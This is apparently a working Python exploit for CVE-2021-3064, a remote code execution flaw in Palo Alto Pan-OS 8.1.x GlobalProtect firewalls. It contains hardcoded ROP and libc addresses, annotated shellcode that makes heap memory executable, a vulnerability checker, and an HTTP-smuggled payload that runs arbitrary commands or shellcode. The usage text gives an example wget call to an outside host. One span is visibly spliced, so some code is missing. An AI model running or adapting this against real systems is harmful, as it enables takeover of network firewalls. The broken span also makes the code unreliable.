#!/usr/bin/env python3 # # Bishop Fox Cosmos Team # Pan-OS 8.x_vm buffer overflow exploit # @CarlLivitt # # April 2022 # # Run: ./CVE-2021-3064.py -h # import struct import ssl import socket import sys import time import base64 import getopt def usage(): print(( "Bishop Fox Cosmos Team\n" "Palo Alto 8.1.1 - 8.1.16 RCE Exploit\n" "\n" "%s [-v] -t host[:port] [ -c commands | -s shellcode_file ]\n" "\n" " -h Help.\n" " -v Test if vulnerable. No exploit.\n" " -t host[:port] Specify the target IP:port. Defaults to port 443.\n" " -s filename Use raw shellcode from .\n" " -c commands Run on the firewall.\n" " E.g. \"%s -t foo.com -c 'wget https://bf_collaborator.url/; foo; bar;'\"\n" " or \"%s -t bar.com:8443 -s /path/to/shellcode.bin\"" "" % (sys.argv[0], sys.argv[0], sys.argv[0]) )) exit(0) # These magic numbers are taken from /lib64/libc-2.12.so.1 and are # identical across versions 8.1.1 - 8.1.16 of PanOS. systemAddr = 0x7ffff70176b0 # 8.1.1 - 8.1.16 ROPGadget = 0x7ffff704a72d # 8.1.1 - 8.1.16 mprotectAddr = 0x7ffff70a8fa0 # 8.1.1 - 8.1.16 #systemAddr = 0x7ffff70170b0 # 8.1.0 #ROPGadget = 0x7ffff7032ff5 # 8.1.0 #mprotectAddr = ???? # 8.1.0 # I haven't looked this up yet # # NULL-free shellcode for strcpy() overflow. # This is basically a loader that exposes an interface to run arbitrary shellcode # and then restore the stack so that the exploited function call returns as normal # without crashing or disrupting avalability. # exploitPayload = ( ## ## 2nd stage of shellcode. Not the entry point. ## This basically does mprotect(heap, 65535, RWX); jmp heap; ## "\x48\xc7\xc0\x8f\x90\x90\x90" # mov rax, 0x9090908f # don't pollute the heap with fake egg "\xfe\xc0" # inc rl # rax = 0x58584148 = "HAXX" = egg "\x31\xc9\x48\x83\xe9\x01" # mov rcx, 0xffffffffffffffff # count forever "\x48\xc7\xc7\x08\x01\x01\x01" # mov rdi, 0x01010108 # start address for egg hunt on heap "\xf2\xaf" # repne scasd eax, dword [rdi] # find "\x90\x90\x90\x90" "\x57" # push rdi # save a copy of heap address for later # mprotect param 1: page-aligned address to modify # mprotect(2) requires a page-aligned address. Pages are typically 4k in size. # A simple hack for this is to shift right by 12 bits, then shift left by 12 bits. # This takes an address like 0x10c9ABC and makes it 0x10c9000. "\x48\xc1\xef\x0c" # shr rdi, 12 # shift right then left by 12 bits... "\x48\xc1\xe7\x0c" # shl rdi, 12 # ...to page-align the heap address. # mprotect param 2: number of bytes to change. 64k in this case. "\x48\xc1\xe9\x30" # shr rcx, 48 # leave 0x000000000000ffff in rcx "\x48\x89\xce" # mov rsi, rcx # mprotect param 3: RWX page protection flags "\x28\xf6" # sub dh, dh "\xb2\x07" # mov dl, 7 # RWX # call mprotect(heap_addr, 0xffff, PAGE_READ | PAGE_WRITE | PAGE_EXECUTE) "\xff\xd3" # call rbx / mprotect # restore heap/shellcode address into rbx, then jump to it "\x5b" # pop rbx "\xff\xe3" # jmp rbx # 1 byte to spare. # Our work is done, control has been transferred to heap shellcode. "\x90" ## ## 1st stage (entry point) of shellcode. This is where the party starts! ## We land here after the ROP gadget, the address of which we used to clobber ## the saved rip on the stack during the buffer overflow, does a "jmp rsi". ## "\x48\xbb__MPROTECT__\xff\xff" # mov rbx, addr_of_mprotect with ffff in msb "\x48\xc1\xe3\x10" # shl rbx, 16 "\x48\xc1\xeb\x10" # shr rbx, 16 # rbx=0x00007ffff70176b0 (mprotect @ libc-2.12.so) "\x90\x90" # nop padding "\xeb\xb8" # jmp -70 # jump to 2nd stage of shellcode, above. # Last 6 characters (7 with the strcpy()'d NULL) replace RIP on the stack "__ROP_GADGET__" # RET overwrite. 0x007ffff704a72d @ libc-2.12.so = "jmp rsi" ).replace("__MPROTECT__", struct.pack('Invalid input: /clientcert-info.sslvpn

" in r: reason = "Not vulnerable: didn't receive expected response ('Invalid input') from Global Protect" return (False, reason) # send request that will pass for <= 8.1.16, but error with "Invalid input" for >= 8.1.17 payload = "GET /clientcert-info.sslvpn?cert_valid=true&cert_user=foo&cert_present=bar&cert_hostid=12345 HTTP/1.1\r\n\r\n".encode('raw_unicode_escape') r = send_recieve(sock, payload) if (r == None) or (not "HTTP/1.1 552 Custom error" in r): reason = "Not vulnerable: didn't receive expected response ('HTTP/1.1 552 Custom error')" return (False, reason) if "

Invalid input: /clientcert-info.sslvpn

" in r: reason = "Not vulnerable: found Pan-OS version >= 8.1.17 (see code comments re: 8.1.17)" return (False, reason) # for 8.1.17 support: return (True, reason) if "Transfer-Encoding: chunked" in r: if "Connection: keep-alive" in r: if "Content-Type: text/html" in r: return (True, "Vulnerable!") return (False, "Not vulnerable? Unknown. Response: %s" % str(r)) # Either exit() if unsuccessful, or return if (probably) successful. def do_exploit(): global payload, host, port print("[+] do_exploit(%s:%d)" % (host, port)) try: sock = getConnectedSocket(host, port) sock.send(payload.encode('raw_unicode_escape')) # Read firewall response #print("[+] Read response") r = sock.recv(512).decode().split('\r\n') response = "\n".join(r) sock.close() except Exception as e: print("\nException: ", e) # If we get a response matching the following parameters, then the exploit # was _probably_ successful. Or it crashed the remote process. Figure it out ;) if "HTTP/1.1 400 Bad Request" in response and "Content-Length: 176" in response: print("[+] Received the expected response! Exploit appears successful.") else: print("[!] Did NOT receive the expected response.\n\n%s" % response) exit(1) # # Start # if __name__ == "__main__": stage3Shellcode = "" shellcodeMode = False commandMode = False attemptExploit = True shellcodeFile = "" rceCommands = "" host = "" port = 0 # Handle command-line try: opts, args = getopt.getopt(sys.argv[1:], "hvt:s:c:", ["help", "test-vuln", "target=", "shellcode-file=","command="]) except getopt.GetoptError as err: # print help information and exit: print(err) # will print something like "option -a not recognized" usage() sys.exit(2) for o, a in opts: if o in ("-h", "--help"): usage() sys.exit() elif o in ("-v", "--test-vuln"): attemptExploit = False elif o in ("-t", "--target"): host = a if ':' in host: (host, port) = host.split(':') port = int(port) else: host = a port = 443 elif o in ("-s", "--shellcode"): shellcodeMode = True shellcodeFile = a try: with open(shellcodeFile, mode='rb') as file: userShellcode = file.read() stage3Shellcode = stackSaveShellcode + stackAllocShellcode + userShellcode + stackRestoreShellcode except: print("Error, couldn't open %s." % shellcodeFile) exit(2) elif o in ("-c", "--command"): commandMode = True rceCommands = a stage3Shellcode = stackSaveShellcode + stackAllocShellcode + commandExecShellcode + stackRestoreShellcode else: usage() exit(1) if (commandMode == False and shellcodeMode == False) or (commandMode == True and shellcodeMode == True): usage() exit(1) if attemptExploit == False and (shellcodeMode == True or commandMode == True): usage(); exit(1) if host == "": usage() exit(1) # Test vuln before trying the exploit print("[+] Testing to see if %s is vulnerable..." % host) (status, reason) = is_vulnerable(host, port) if status == False: print("[!] %s" % reason) exit(2) if attemptExploit == False: print("[+] %s" % reason) exit(0) # Populate our payload buffer smuggledRequest = smuggledRequest.replace("XXXXX", exploitPayload) smuggledRequest = smuggledRequest.replace("YYYYY", stage3Shellcode) smuggledRequest = smuggledRequest.replace("ZZZZZ", rceCommands) payload = payload.replace("LLLLL", str(len(smuggledRequest))) payload = payload + smuggledRequest # Unleash the beast print("[+] %s appears to be vulnerable. Trying the exploit!" % host) do_exploit() print("[+] All done. So long, and thanks for all the fish!") # EOF